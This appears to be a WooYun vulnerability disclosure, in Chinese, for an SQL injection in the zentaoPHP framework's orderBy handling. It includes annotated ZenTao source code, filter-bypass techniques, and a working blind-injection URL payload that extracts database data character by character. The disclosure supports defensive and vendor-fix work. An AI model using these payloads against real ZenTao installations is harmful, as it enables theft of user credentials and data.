当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151637

漏洞标题:zentaoPHP框架 SQL注入漏洞(附禅道注入实例)

相关厂商:禅道

漏洞作者: xiao.k

提交时间:2015-11-04 09:09

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-04: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

当开发框架出现安全问题,程序的整体安全性将得不到保证。

详细说明:

易软天创旗下的禅道、然之、蝉知等产品,用的都是他们自行开发的zentaoPHP框架。然而这个框架在设计时判断不严谨。这导致了在使用过程中极易发生安全问题。
首先看漏洞的入口`ZenTaoPMS.7.3.stable\zentaopms\module\bug\control.php`,64行。注意看$orderBy变量。

public function browse($productID = 0, $browseType = 'unclosed', $param = 0, $orderBy = '', $recTotal = 0, $recPerPage = 20, $pageID = 1)
{
.... 省略不想关内容.....
/* Process the order by field. */
if(!$orderBy) $orderBy = $this->cookie->qaBugOrder ? $this->cookie->qaBugOrder : 'id_desc';
setcookie('qaBugOrder', $orderBy, $this->config->cookieLife, $this->config->webRoot);
/* Append id for secend sort. */
$sort = $this->loadModel('common')->appendOrder($orderBy);
/* Load pager. */
$this->app->loadClass('pager', $static = true);
if($this->app->getViewType() == 'mhtml') $recPerPage = 10;
$pager = pager::init($recTotal, $recPerPage, $pageID);
$projects = $this->loadModel('project')->getPairs();
$projects[0] = '';
/* Get bugs. */
$bugs = array();
// 当browseType为all时,sort 会进入getAllBugs
if($browseType == 'all') $bugs = $this->bug->getAllBugs($productID, $projects, $sort, $pager);
elseif($browseType == "bymodule")
{
$childModuleIds = $this->tree->getAllChildId($moduleID);
$bugs = $this->bug->getModuleBugs($productID, $childModuleIds, $projects, $sort, $pager);
}
.... 省略不想关内容.....
$this->display();
}


我们再看一下`getAllBugs`。

public function getAllBugs($productID, $projects, $orderBy, $pager = null)
{
$bugs = $this->dao->select('t1.*, t2.title as planTitle')
->from(TABLE_BUG)->alias('t1')
->leftJoin(TABLE_PRODUCTPLAN)->alias('t2')->on('t1.plan = t2.id')
->where('t1.product')->eq($productID)
->andWhere('t1.project')->in(array_keys($projects))
->andWhere('t1.deleted')->eq(0)
->orderBy($orderBy)->page($pager)->fetchAll();
$this->loadModel('common')->saveQueryCondition($this->dao->get(), 'bug');
return $bugs;
}


现在,orderBy通过browse函数进入到了getAllBugs,最终带入到zentaoPHP的核心数据库类 dao。禅道、然之、蝉知都是使用的这个数据库类。
接下来我们看看orderBy是怎么被解析的。关键代码在 `/lib/dao/dao.class.php`,1616行。

//https://**.**.**.**/easysoft/zentaopms/blob/master/lib/dao/dao.class.php#L1616
public function orderBy($order)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
//替换orderby里的| _,因为表名的默认前缀为zt_ 所以语句中不能带入表名。
$order = str_replace(array('|', '', '_'), ' ', $order);
/* Add "`" in order string. */
/* When order has limit string. */
//语句中如果有limit 那么语句将会截断,后面会再次拼接。
$pos = stripos($order, 'limit');
$orders = $pos ? substr($order, 0, $pos) : $order;
$limit = $pos ? substr($order, $pos) : '';
$orders = explode(',', $orders);
//在这里限制了语句中不能有逗号。
foreach($orders as $i => $order)
{
$orderParse = explode(' ', trim($order));
foreach($orderParse as $key => $value)
{
$value = trim($value);
if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
$field = trim($value, '`');
/* such as t1.id field. */
//这里是关键,如果$value里包含点号。那么只有后面的部分被加入``。
if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
$field = "`$field`";
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
unset($table);
}
$orders[$i] = join(' ', $orderParse);
}
//拼接之前的limit
$order = join(',', $orders) . ' ' . $limit;
$this->sql .= ' ' . DAO::ORDERBY . " $order";
return $this;
}


函数的处理过程,我在代码中简单做了注释。实际上orderBy中的限制很多,不能有逗号,下划线,不能有limit,点号也不能乱用。作为一个核心的数据库类,判断还算比较严谨的。但是我们还是可以一步步的去破解。
假设此处没有任何字符限制,我打算这么构造语句:

order by if((select ord(substring(password,1,1)) from zt_user)=51,id,assignedto) # asc


但是由于语句中不能有分号,所以我要把语句变形。

// substring 改为 from x for x 的形式
order by if((select ord(substring(password from 1 for 1)) from zt_user)=51,id,assignedto) # asc
// if 语句用 case when ... then ... else ... end 代替
order by CASE WHEN (select ord(substring(password from 1 for 1)) from zt_user)=51 THEN id ELSE assignedto END) #asc


如果目标的数据库前缀没有下划线,那么注入不成问题。

漏洞证明:

**.**.**.**/index.php?m=bug&f=browse&productID=1&browseType=unclosed&param=0&orderBy=(CASE/**/WHEN/**/(SELECT/**/ORD(substring(user()/**/from/**/1/**/for/**/1)))=113/**/THEN/**/id/**/ELSE/**/assignedto/**/END)%23._asc

注入.JPG

修复方案:

加强框架的安全性。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-04 09:19

厂商回复:

谢谢反馈。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-11-04 09:11 | DNS ( 普通白帽子 | Rank:711 漏洞数:73 | root@qisec.com)

    1

  2. 2015-11-04 09:25 | s3xy ( 核心白帽子 | Rank:938 漏洞数:124 | 相濡以沫,不如相忘于江湖)

    2

  3. 2015-11-04 09:30 | 不能忍 ( 实习白帽子 | Rank:80 漏洞数:41 | 要是能重来,我要选李白!)

    大牛好友很多这个系统的漏洞,大牛发个合集。哈哈